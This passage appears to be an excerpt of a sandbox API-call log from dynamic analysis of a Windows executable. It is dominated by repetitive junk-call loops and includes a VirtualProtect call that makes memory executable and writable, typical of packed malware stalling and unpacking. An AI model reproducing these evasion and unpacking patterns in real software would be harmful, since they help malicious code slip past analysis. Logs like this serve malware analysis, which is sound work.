lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.819] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.819] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.819] GetACP () returned 0x4e4 [0054.998] VirtualProtect (in: lpAddress=0x2c5aa8, dwSize=0xfacb, flNewProtect=0x40, lpflOldProtect=0x43bc04 | out: lpflOldProtect=0x43bc04*=0x4) returned 1 [0054.999] AddAtomA (lpString=0x0) returned 0x0 [0054.999] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.999] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.999] AddAtomA (lpString=0x0) returned 0x0 [0054.999] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.999] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.999] AddAtomA (lpString=0x0) returned 0x0 [0054.999] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.999] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.999] AddAtomA (lpString=0x0) returned 0x0 [0054.999] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.999] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.999] AddAtomA (lpString=0x0) returned 0x0 [0054.999] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.999] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.999] AddAtomA (lpString=0x0) returned 0x0 [0054.999] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.000] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.000] AddAtomA (lpString=0x0) returned 0x0 [0055.000] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.001] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.001] AddAtomA (lpString=0x0) returned 0x0 [0055.001] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.002] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.002] AddAtomA (lpString=0x0) returned 0x0 [0055.002] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.003] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.003] AddAtomA (lpString=0x0) returned 0x0 [0055.003] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.004] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.004] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.004] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.005] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.005] AddAtomA (lpString=0x0) returned 0x0 [0055.005] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.006] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.006] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.006] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.007] AddAtomA (lpString=0x0) returned 0x0 [0055.007] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.007] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0055.008] AddAtomA (lpString=0x0) returned 0x0 [0055.008] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.008] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 